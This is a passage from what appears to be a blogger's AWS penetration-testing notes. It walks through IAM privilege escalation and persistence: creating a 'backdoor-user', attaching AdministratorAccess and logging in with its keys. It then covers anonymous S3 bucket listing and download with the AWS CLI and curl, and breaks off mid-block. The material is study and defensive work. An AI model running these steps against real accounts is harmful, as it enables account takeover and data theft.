class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(3) Attach a highly privileged role (if&lt;/strong&gt; &lt;code&gt;iam:PassRole&lt;/code&gt; &lt;strong&gt;is also allowed)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(4) Log in to AWS with the new Access Key&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_access_key_id AKIAEXAMPLE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then test the permissions:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts get-caller-identity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it returns:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserId&amp;#34;: &amp;#34;AIDAEXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Account&amp;#34;: &amp;#34;123456789012&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/backdoor-user&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="iamattachuserpolicy-attaching-a-high-privilege-policy-to-a-low-privilege-user"&gt;&lt;a href="#iamattachuserpolicy-attaching-a-high-privilege-policy-to-a-low-privilege-user" class="header-anchor"&gt;&lt;/a&gt;&lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; (Attaching a High-Privilege Policy to a Low-Privilege User)&#10;&lt;/h4&gt;&lt;p&gt;Concept&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Allows a &lt;strong&gt;new permission policy to be attached&lt;/strong&gt; to an existing IAM user, such as turning a low-privilege user into an administrator.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Risk&lt;/strong&gt;: An attacker can find an existing IAM user, quietly attach &lt;code&gt;AdministratorAccess&lt;/code&gt; to it, and then use that account to perform high-privilege operations.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;(1) List all users in the current AWS account&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-users&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Example response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Users&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;developer&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/developer&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;test-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/test-user&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Attach&lt;/strong&gt; &lt;code&gt;AdministratorAccess&lt;/code&gt; &lt;strong&gt;to&lt;/strong&gt; &lt;code&gt;developer&lt;/code&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(3) Verify whether&lt;/strong&gt; &lt;code&gt;developer&lt;/code&gt; &lt;strong&gt;has obtained elevated privileges&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name developer&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachedPolicies&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AdministratorAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now &lt;code&gt;developer&lt;/code&gt; is an administrator.&lt;/p&gt;&#10;&lt;p&gt;To briefly sum up the permissions in these two sections: creating a user is about persistence, while granting permissions is about privilege escalation. If you look closely, the two overlap. The idea itself is easy enough to understand. The main point worth discussing is &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt;: if you have this permission, can you elevate any role or user? The answer depends on the exact configuration. If you&amp;rsquo;re interested, try experimenting with inline policies. Below are an unrestricted policy, which can attach any managed policy, and a restricted policy, which can attach only the specified policy.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Abusable policy&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:CreateUser&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:AttachUserPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Restricted policy&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;iam:AttachUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/ReadOnlyAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="closing-thoughts-on-iam-penetration-testing"&gt;&lt;a href="#closing-thoughts-on-iam-penetration-testing" class="header-anchor"&gt;&lt;/a&gt;Closing Thoughts on IAM Penetration Testing&#10;&lt;/h3&gt;&lt;p&gt;At this point, I&amp;rsquo;ve worked through most of the hands-on IAM penetration testing material. This section took a huge amount of time. There were only six policies, but they involved a lot of architectural concepts that took a long time to understand. It isn&amp;rsquo;t just a matter of understanding each policy in isolation; you need a deep understanding of how they interact. Overall, it was pretty interesting, just very complicated—and the reason it is so complicated is that the architecture is so well designed, with every part closely connected to the next.&lt;/p&gt;&#10;&lt;h2 id="storage-service-s3-attack-surface"&gt;&lt;a href="#storage-service-s3-attack-surface" class="header-anchor"&gt;&lt;/a&gt;Storage Service (S3) Attack Surface&#10;&lt;/h2&gt;&lt;h3 id="s3-bucket-enumeration"&gt;&lt;a href="#s3-bucket-enumeration" class="header-anchor"&gt;&lt;/a&gt;S3 Bucket Enumeration&#10;&lt;/h3&gt;&lt;h4 id="access-control-for-s3-buckets"&gt;&lt;a href="#access-control-for-s3-buckets" class="header-anchor"&gt;&lt;/a&gt;Access Control for S3 Buckets&#10;&lt;/h4&gt;&lt;p&gt;In AWS S3, access to a bucket is controlled by &lt;strong&gt;two main mechanisms&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;S3 bucket policy (&lt;/strong&gt;&lt;code&gt;Bucket Policy&lt;/code&gt;&lt;strong&gt;)&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Determines which users or accounts can access the bucket (&lt;code&gt;s3:ListBucket&lt;/code&gt;, &lt;code&gt;s3:GetObject&lt;/code&gt;).&lt;/li&gt;&#10;&lt;li&gt;It may contain &lt;code&gt;&amp;quot;Principal&amp;quot;: &amp;quot;*&amp;quot;&lt;/code&gt;, leaving the bucket open to everyone.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Access Control List (ACL)&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;A legacy permissions management method that allows specific AWS accounts or anonymous users to access a bucket or its objects.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;READ&lt;/code&gt; permission can allow external users to list the directory (&lt;code&gt;ListBucket&lt;/code&gt;).&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;WRITE&lt;/code&gt; permission can allow an attacker to upload malicious files.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;📌 &lt;strong&gt;Vulnerabilities&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Incorrect bucket policy&lt;/strong&gt;: If &lt;code&gt;Principal: *&lt;/code&gt; is combined with &lt;code&gt;Action: &amp;quot;s3:ListBucket&amp;quot;&lt;/code&gt;, an attacker can list every file.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;ACL misconfiguration&lt;/strong&gt;: If &lt;code&gt;READ&lt;/code&gt; permission is open to &lt;code&gt;Everyone&lt;/code&gt;, an attacker can read the files.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="s3-bucket-enumeration-methods"&gt;&lt;a href="#s3-bucket-enumeration-methods" class="header-anchor"&gt;&lt;/a&gt;S3 Bucket Enumeration Methods&#10;&lt;/h4&gt;&lt;p&gt;There is not much of an environment to set up here. The idea is very simple: the bucket lets you interact with it without authentication. How far you can go depends on which permissions were mistakenly granted. It will make sense once we try it in practice.&lt;/p&gt;&#10;&lt;p&gt;There are two approaches: &lt;strong&gt;tool-based probing&lt;/strong&gt; and &lt;strong&gt;manual verification&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h5 id="manual-verification"&gt;&lt;a href="#manual-verification" class="header-anchor"&gt;&lt;/a&gt;Manual Verification&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;(1) Test whether the bucket allows directory listing (&lt;/strong&gt;&lt;code&gt;s3:ListBucket&lt;/code&gt;**) **&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://bucket-name --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;--no-sign-request&lt;/code&gt;&lt;strong&gt;: Used for anonymous access (without AWS credentials).&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If the command succeeds, the bucket allows&lt;/strong&gt; &lt;code&gt;s3:ListBucket&lt;/code&gt;&lt;strong&gt;, and you can see every file in it:&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2024-03-06 12:00:00 450K secrets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2024-03-06 12:01:00 2.3M backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Test whether files can be downloaded (&lt;/strong&gt;&lt;code&gt;s3:GetObject&lt;/code&gt;**) **&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;If the download succeeds, the bucket allows anonymous users to read files (&lt;/strong&gt;&lt;code&gt;s3:GetObject&lt;/code&gt;&lt;strong&gt;).&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;(3) Use&lt;/strong&gt; &lt;code&gt;curl&lt;/code&gt;** to test whether an S3 bucket is open**&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;An AWS S3 object URL usually has this format:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://bucket-name.s3.amazonaws.com/file.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;You can test it directly with&lt;/strong&gt; &lt;code&gt;curl&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I https://bucket-name.s3.amazonaws.com/secrets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;📌&lt;strong&gt;Interpreting the response:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;200 OK: The file can be accessed anonymously.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;403 Forbidden: Authentication is required, so the file cannot be accessed directly.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;404 Not Found: The file does not exist, or the bucket itself is private.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="tool-based-probing"&gt;&lt;a href="#tool-based-probing" class="header-anchor"&gt;&lt;/a&gt;Tool-Based Probing&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;(1) Use&lt;/strong&gt; &lt;code&gt;s3scanner&lt;/code&gt;** to scan buckets**&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;s3scanner&lt;/code&gt; is a tool designed specifically to check whether S3 buckets are open.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span 